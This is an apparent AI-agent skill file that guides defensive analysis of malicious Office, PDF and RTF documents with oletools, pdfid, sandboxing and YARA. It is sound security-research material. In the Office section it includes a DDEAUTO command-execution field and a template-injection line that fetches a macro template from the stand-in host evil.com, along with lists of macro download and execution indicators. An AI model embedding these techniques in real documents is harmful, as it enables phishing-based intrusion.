---
name: document-malware-analysis
description: >
  Analyze malicious documents including Office files with VBA macros, PDFs with
  JavaScript exploits, and RTF files with embedded objects. Use when investigating
  suspicious email attachments, weaponized documents, macro-based malware, or
  document exploit delivery mechanisms.
---

# Document Malware Analysis

Systematic approach to analyzing malicious documents across Office, PDF, and RTF formats.

## When to Use

- Suspicious email attachment received
- Office document with macro warnings
- PDF with unexpected behavior
- RTF file triggering antivirus
- Document-based phishing campaign

## Prerequisites

- **Python 3.10+** with standard library modules
- **oletools** (olevba, oleid, oleobj, rtfobj): OLE/VBA extraction and analysis
- **peepdf**: PDF structure analysis and JavaScript extraction
- **pdfid**: PDF keyword identification and triage
- **exiftool**: Document metadata extraction
- **ViperMonkey**: VBA macro emulation
- **YARA**: Pattern-based detection rule creation
- **Isolated analysis VM**: Never open suspicious documents on host systems
- **scripts/office_analyzer.py**: Automated Office document analysis
- **scripts/pdf_analyzer.py**: Automated PDF analysis

## Step-by-Step Instructions

### Step 1: Initial Assessment

Identify document type and basic properties:

```bash
file suspicious_document
exiftool suspicious_document   # metadata extraction
python3 scripts/office_analyzer.py suspicious.docx  # Office analysis
python3 scripts/pdf_analyzer.py suspicious.pdf      # PDF analysis
```

**Never open suspicious documents on your host system.** Use isolated VMs or dedicated analysis tools.

### Step 2: Office Document Analysis (Word, Excel, PowerPoint)

#### Extract and Analyze VBA Macros
```bash
# Using oletools
olevba suspicious.docm          # Extract VBA macros
oleid suspicious.docx           # Identify OLE characteristics
oleobj suspicious.docx          # Extract embedded objects

# Using the analysis script
python3 scripts/office_analyzer.py suspicious.docm --output analysis.json
```

#### What to Look For in Macros
- **Auto-execution triggers**: AutoOpen, Document_Open, Workbook_Open, Auto_Close
- **Download cradles**: URLDownloadToFile, XMLHTTP, WinHttp, PowerShell invocations
- **Obfuscation**: Chr() concatenation, string reversal, Base64 encoding, Environ()
- **Execution methods**: Shell(), WScript.Shell, CreateObject, CallByName
- **Environment checks**: Application.Name checks (anti-sandbox)

#### DDE Attacks (Dynamic Data Exchange)
- Check for DDEAUTO or DDE fields in document XML
- `{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"}`
- Can execute commands without macros enabled

#### Template Injection
- Check for remote template references in document.xml.rels
- `<Relationship ... Target="http://evil.com/template.dotm" .../>`
- Downloads and executes macro-enabled template

### Step 3: PDF Analysis

```bash
python3 scripts/pdf_analyzer.py suspicious.pdf --output analysis.json
```

#### Key PDF Elements to Check
- **/OpenAction**: Executes when PDF is opened
- **/AA** (Additional Actions): Various trigger actions
- **/JavaScript** or **/JS**: Embedded JavaScript code
- **/Launch**: Launch external application
- **/URI**: Link to external URL
- **/EmbeddedFiles**: Attached files within PDF
- **/AcroForm**: Interactive form elements (can contain scripts)

#### PDF Exploit Indicators
- Encoded/obfuscated JavaScript streams
- Heap spray patterns in JavaScript
- Known CVE exploit patterns (Adobe Reader vulnerabilities)
- Embedded Flash (SWF) objects
- XFA forms with script execution

### Step 4: RTF Analysis

```bash
# Use rtfobj from oletools
rtfobj suspicious.rtf

# Check for:
# - Embedded OLE objects
# - Equation Editor exploits (CVE-2017-11882, CVE-2018-0802)
# - Nested RTF documents
```

#### RTF-Specific Threats
- **Equation Editor exploits**: Most common RTF attack vector
- **OLE object embedding**: Execute payloads via embedded objects
- **Font table manipulation**: Trigger parser vulnerabilities

### Step 5: Payload Extraction

Extract embedded payloads, shellcode, or download URLs:

1. Deobfuscate macro code (manually or with tools)
2. Extract Base64/encoded payloads from macro strings
3. Identify download URLs for second-stage payloads
4. Carve embedded executables from OLE streams
5. Extract shellcode from exploit payloads

### Step 6: Behavioral Analysis

If safe to execute:
```
# Run in sandbox (see dynamic-analysis skill)
# Monitor for:
# - Child process creation (cmd.exe, powershell.exe, wscript.exe)
# - Network connections to C2
# - File writes (dropped payloads)
# - Registry modifications (persistence)
```

### Step 7: Generate Detection

- YARA rules targeting macro patterns/embedded objects
- Snort/Suricata rules for network indicators
- Email gateway rules for document characteristics
- Map to MITRE ATT&CK:
  - T1566.001: Spearphishing Attachment
  - T1204.002: User Execution: Malicious File
  - T1059.005: Visual Basic
  - T1203: Exploitation for Client Execution

## Tools

| Tool | Purpose |
|------|---------|
| oletools | VBA extraction, OLE analysis |
| peepdf | PDF structure analysis |
| pdfid | PDF keyword identification |
| rtfobj | RTF embedded object extraction |
| YARA | Pattern-based detection |
| ViperMonkey | VBA emulation |

## Related Skills

- `static-analysis` — Binary analysis of extracted payloads
- `malware-deobfuscation` — Deobfuscate macro code
- `ioc-extraction` — Extract URLs, IPs, hashes from documents
- `fileless-malware-analysis` — Analyze PowerShell payloads launched by macros